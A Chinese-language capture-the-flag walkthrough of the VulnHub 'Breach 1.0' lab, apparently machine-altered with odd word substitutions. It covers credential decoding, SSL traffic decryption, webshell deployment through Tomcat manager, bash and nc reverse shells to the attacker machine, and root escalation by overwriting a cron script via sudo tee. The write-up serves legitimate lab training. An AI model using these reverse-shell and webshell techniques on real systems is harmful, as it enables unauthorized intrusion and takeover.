快捷搜索:  网络  后门  扫描  渗透  CVE  木马  黑客  as

VulnHub渗透排泄测试实战靶场Breach 1.0

*

简介

Vulnhub简介

Vulnhub是一个提供种种漏洞环境的靶场平台,供安全兴趣者学习渗透排泄使用,大部分环境是做好的捏造机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每一个镜像会有破解的目标,大可能是Boot2root,从启动虚机到获取操作体系的root权限以及查看flag。网址:https://www.vulnhub.com。

下载链接

https://download.vulnhub.com/breach/Breach-1.0.zip

靶机说明

Breacp.0是一个难度为初级到中级的BooT2Root/CTF挑战。

VM虚机设置有静态IP地址(192.168110 140),需要将捏造机网卡配置为host-only方式组网。无比谢谢Knightmare以及rastamouse进行测试以及提供反馈。作者期待人人写出文章,特别是通过非预期的方式获取root权限。

目标

Boot to root:获得root权限,查看flag。

运行环境

靶机:收集连接方式配置为主机模式(host-only),静态IP是192.168.110.140。

攻击机:同网段下有Windows攻击机(物理机),IP地址:192.168.110.220,装置有Nmap、Burpsuit、Wireshark、Sqlmap、nc、Python2.七、JDK、DirBuster、AWVS、Nessus等渗透排泄工具,也能够使用Kali Linux攻击机。

信息网络

端口服务识别

启动Breacp.0捏造机,由于IP已知,使用nmap扫描端口,并做服务识别以及深度扫描(加-A参数),扫描效果保存到txt文件,命令:

nmap -v -A 192.168.110.140 -oN Breach.txt

image.png

发现端口几乎全开放了,显著是有问题,捏造机对端口扫描做了一些防护措施,直接走访80端口,进入web首页:http://192.168.110.140/

image.png

漏洞挖掘

0×01:查看首页源码,解码得到暗码

(1) 查看首页源码,发现提示:Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo 这是一串base64编码。

image.png

(2) 将其复制到Burpsuite Decoder进行base64解码,解密后发现照样base64编码,继续base64解码,得到pgibbons:damnitfeel$goodtobeagang$ta

image.png

0×02:登录cms,查看邮件,下载包含SSL证书的密钥库keystore文件

(1) 点击首页的图片,进入initech.html

image.png

(2) 点击initech.html左侧的Employee portal进入到http://192.168.110.140/impresscms/user.php 这是一个impresscms登录页

image.png

使用之前两次base64解码得到的暗码登录impresscms:

用户名:pgibbons

暗码:damnitfeel$goodtobeagang$ta

image.png

(3) exploit-db.com查找impress cms漏洞:发现ImpressCMS 1.3.9 SQL注入漏洞:https://www.exploit-db.com/exploits/39737/可注入页面为/modules/profile/admin/field.php,然则该页面目前没有权限走访,没法进行注入。

(4) 注意左侧的收件箱Inbox显示有3封邮件,依次关上看:

image.png

第1封邮件,首要内容:让你的团队只能向治理流派发布任何敏感的内容。我的暗码无比安全,发自ImpressCMS Admin Bill,以下:

image.png

第2封邮件,首要内容:Michael采购了IDS/IPS。

image.png

第3封邮件,首要内容:有一个peter的SSL证书被保存在192.168.110.140/.keystore

image.png

(5) 走访http://192.168.110.140/.keystore下载包含SSL证书的密钥库keystore文件,keystore是存储公私密钥的一种文件格式。

image.png

0×03:导入流量抓包文件、SSL证书到Wireshark

(1) 依次走访左侧的菜单树,点击每一个菜单栏:

content链接了一张图片troll.gif:

image.png

点击profile会进入目录阅读:

image.png

但都没发现可行使漏洞,继续阅读每一个网页。

(2) 点击View Account菜单进入界面,再依次点击页面的Content,会弹出一行链接Content SSL implementation test capture,点击链接,以下图:

image.png

(3) 进入http://192.168.110.140/impresscms/modules/content/content.php?content_id=1页面,可以看到一个名为:_SSL_test_phase1.pcap的Wireshark流量包文件,下载它。

image.png

同时,该页面有重要的提示信息:这个pCAP文件是有红色团队的重新攻击产生的,然则不能读取文件。而且They told me the alias, storepassword and keypassword are all set to 'tomcat'别名、Keystore暗码、key暗码都配置成tomcat

由此推测:a.这是一个流量包文件,不能读取极可能因为某些流量有SSL加密(前面的邮件中提供了一个keystore,这里提供了暗码;b.体系中可能存在tomcat。

(4) Windows攻击机装置有JDK,到JDK目录下找到keytool.exe工具:路径C:\Program Files\Java\jre1.8.0_121\bin\keytool.exe

image.png

将keystore放到C盘根目录,查看keystore这个密钥库内里的所有证书,命令keytool -list -keystore c:\keystore 输入密钥库口令tomcat:

image.png

(5) 从密钥库导出.p12证书,将keystore拷贝到keytool目录,导出名为:tomcatkeystore.p12的证书,命令:

keytool -importkeystore -srckeystore c:\keystore -destkeystore c:\tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat

image.png

(6) 将.p12证书导入Wireshark

.p12证书存储在C盘根目录,将证书导入Wireshark:在Wireshark中关上_SSL_test_phase1.pcap流量包文件,选择菜单:编辑–首选项–Protocols–SSL,点击右边的Edit:

image.png

输入:192.168.110.140 8443 http 点击选择证书文件 输入暗码tomcat

image.png

0×04:从流量包文件中得到tomcat后台URL以及暗码

(1) 导入证书后,https流量已经被解密,查看每一个http流量包:

发现从192.168.110.129到192.168.110.140的攻击流量包,其中有cmd命令马执行了id命令,攻击者上传了两张图片,疑似图片马,然则命令马没法直接走访,需要登录tomcat后台:

image.png

(2) 获得Tomcat后台登录地址以及用户名暗码

继续观察流量包,发现一个Unauthorized的认证包,该request以及response包含了Tomcat后台的登录地址:https://192.168.110.140:8443/_M@nag3Me/html

image.png

发现包含登录用户名暗码的数据包, 采用http basic认证,认证数据包为:Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC

image.png

这是base64编码的用户名暗码,将dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC复制到Burpsuit Decoder进行解码,得到Tomcat登录用户名暗码

image.png

Tomcat后台登录用户名:tomcat,暗码:Tt\5D8F(#!*u=G)4m7zB

获取shell

0×05: 登录Tomcat后台get shell

(1) 登录tomcat后台:

image.png

image.png

(2) Tomcat后台get shell是有标准姿势的,上养马场,预备好jsp版本的种种马,这里有cmd命令小马,菜刀马,jspspy大马,将其打成caidao.zip压缩包,再将zip压缩包将扩台甫改成caidao.war,将war包上传部署即可:

image.png

(2) 在WAR file to deploy中将war包上传:

image.png

上传后在目录中找到上传的目录/caidao,已上传jsp木马文件就在这个目录下。

image.png

(3) 使用中国菜刀连接https://192.168.110.140:8443/caidao/caidao.jsp

image.png

(4) 使用菜刀命令行连接,执行id;pwd命令成功:

image.png

(5) 发现的问题:上传的菜刀马,一会儿就会消失,文件被删除,需要重新上传war包才能够继续使用菜刀,主机可能有杀软或者杀web shell工具。解决要领:bash反弹一个shell出来。

抬举权限

0×06: 查看体系用户,发现mysql root暗码

(1) 查看当前体系用户,找id为1000之后的用户 cat /etc/passwd

image.png

发现两个值得关注的用户:milton 以及 blumbergh

(2) 在菜刀内里找到网页根目录,默认是在tomcat目录,找到网页部署目录/var/www/5446/

image.png

(3) 该目录下发现两个希罕的php文件,命名无比长且无规律fe4db1f7bc038d60776dcb66ab3404d5.php以及0d93f85c5061c44cdffeb8381b2772fd.php,使用菜刀下载下来关上查看:

image.png

这是mysql数据库连接文件,使用mysql的root账号连接数据库,暗码为空。

(4) 因为菜刀马老是被删除,所以反弹shell到nc:在菜刀cmd命令行反弹一个shell到Windows攻击机的nc,命令:echo "bash -i >& /dev/tcp/192.168.110.220/4444 0>&1" | bash

image.png

nc接收反弹sehll成功:

image.png

(5) 连接mysql数据库,查看mysql用户,这里输入mysql命令后始终没有归显,直到输入exit退出mysql登录后,查询归显才出来,命令:

mysql -u root -p

use mysql;

select user,password from user;

exit

image.png

得到milton用户的暗码哈希:6450d89bd3aff1d893b85d3ad65d2ec2

https://www.somd5.com/解密,得到用户milton的明文暗码:thelaststraw

image.png

0×07: 提权到用户milton以及blumbergh

(1) 没法执行su命令,显示需要一个终端,之前都遇到这个问题,通过Python解决:

python -c 'import pty;pty.spawn("/bin/bash")'

image.png

(2) 提权到用户milton

su - milton 暗码:thelaststraw

image.png

查看milton用户home目录下的some_script.sh文件,没有可行使的信息。

image.png

(3) 查看体系内核版本,命令uanme -a以及cat /etc/issue

image.png

体系内核版本为:Linux Breach 4.2.0-27-generic,不存在Ubuntu内陆提权漏洞。存在内陆提权漏洞内核版本是:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)

image.png

(4) 查看历史命令,无有价值的线索,看到历史命令su提权到了blumbergh用户。需要找到blumbergh用户的暗码。

image.png

(5) 到现在发现了7张图片,6张在图片目录:http://192.168.110.140/images/,1张在milton用户目录下:

image.png

http://192.168.110.140/images/bill.png

http://192.168.110.140/images/initech.jpg

http://192.168.110.140/images/troll.gif

http://192.168.110.140/images/cake.jpg

http://192.168.110.140/images/swingline.jpg

http://192.168.110.140/images/milton_beach.jpg

milton用户目录下my_badge.jpg

将图片复制到kali linux,使用strings打印各图片其中的可打印字符,追加输出到images.txt,在vim下查看,暗码在bill.png图片中。

image.png

找到可能的暗码或提示:

image.png

发现唯一的单词是:coffeestains

或者使用exiftool.exe工具查看bill.png图片的exif信息,得到可能的暗码:coffeestains

image.png

(6)提权到blumbergh用户

用户名:blumbergh

暗码:coffeestains

image.png

(7)查看历史命令,发现/usr/share/cleanup以及tidyup.sh脚本文件:

image.png

读取tidyup.sh脚本阐发:

image.png

cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf

这是一段清理脚本,描摹中说明每一3分钟执行清理,删除webapps目录下的文件,因此之前上传的菜刀马老是被删除,需要重新上传。

查看tidyup.sh的权限,对该脚本没有写入权限,只有root可以

image.png

查看sudo权限,执行sudo -l:

image.png

发现用户能够以root权限执行这tee程序或tidyup.sh脚本:/usr/bin/tee以及/usr/share/cleanup/tidyup.sh

tee命令用于读取标准输入的数据,并将其内容输出成文件。tidyup.sh是清理脚本。

image.png

0×07:反弹root权限shell,获取flag

(1) 向tidyup.sh中写入反弹shell命令

tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,因而使用nc命令反弹shell成功,所以写nc反弹命令:

echo "nc -e /bin/bash 192.168.110.220 5555" > shell.txt

再使用tee命令将shell.txt内容输出到tidyup.sh

cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

查看tidyup.sh文件写入成功:

cat /usr/share/cleanup/tidyup.sh

image.png

(2) nc监听守候反弹shell,查看权限是root,flag是一张图片,将图片拷贝到home目录:

image.png

(3) 查看一下crontab计划义务,发现果然有每一3分钟执行tidyup.sh清理脚本的义务:

image.png

(4) 使用之前上传的jsp大马JspSpy将flair.jpg下载到Windows:

image.png

(5) 查看flag:I NEED TO TALK ABOUT YOUR FLAIR 游戏通关。

image.png

总结

首要突破点:

(1) 从网页源码以及图片字符中解密出CMS以及Tomcat的账号、暗码。

(2) 导入ssl证书到Wireshark中解密经过SSL加密的流量,获得Tomcat后台登录URL以及账号暗码。

(3) Tomcat后台get shell姿势要熟练。

(4) 提权:找到两个账号的暗码,发现可以root权限执行的tee命令以及tidyup.sh清理脚本,通过计划义务反弹root shell。

难点以及踩到的坑:

(1) 使用keytool导出SSL证书:这是无比规渗透排泄知识,需要查阅道理以及工具使用,耗费时间较多。

(2) Tomcat后台get shell后,已上传的菜刀马老是被杀,每一次传上去过不了几分钟没了,那时觉得该体系装置了杀毒软件或web shell清理工具,实际是因为主机tidyup.sh清理脚本,每一3分钟清理一次。反弹出一个shell就可以持续使用shell了。

(3) 连接mysql执行命令,没有归显。菜刀执行命令超时,nc中只有exit退出时才归显,那时打算抛却了,才exit退出,效果退出才有归显,发现了milton账号的暗码哈希。山重水复疑无路,黑客技术,柳暗花明又一村。

(4) 花费较多时间进行两次账号切换,再反弹root shell提权。发现以及行使tidyup.sh需要较多时间。

(5) 通过crontab的计划义务,反弹root shell的方式,在真实渗透排泄测试中是常见的,譬如redis的root空口令挖矿,可以ssh证书连接,也能够写root crontab反弹,然则在Vulnhub中第一次遇到,对初学者有难度。

*

您可能还会对下面的文章感兴趣: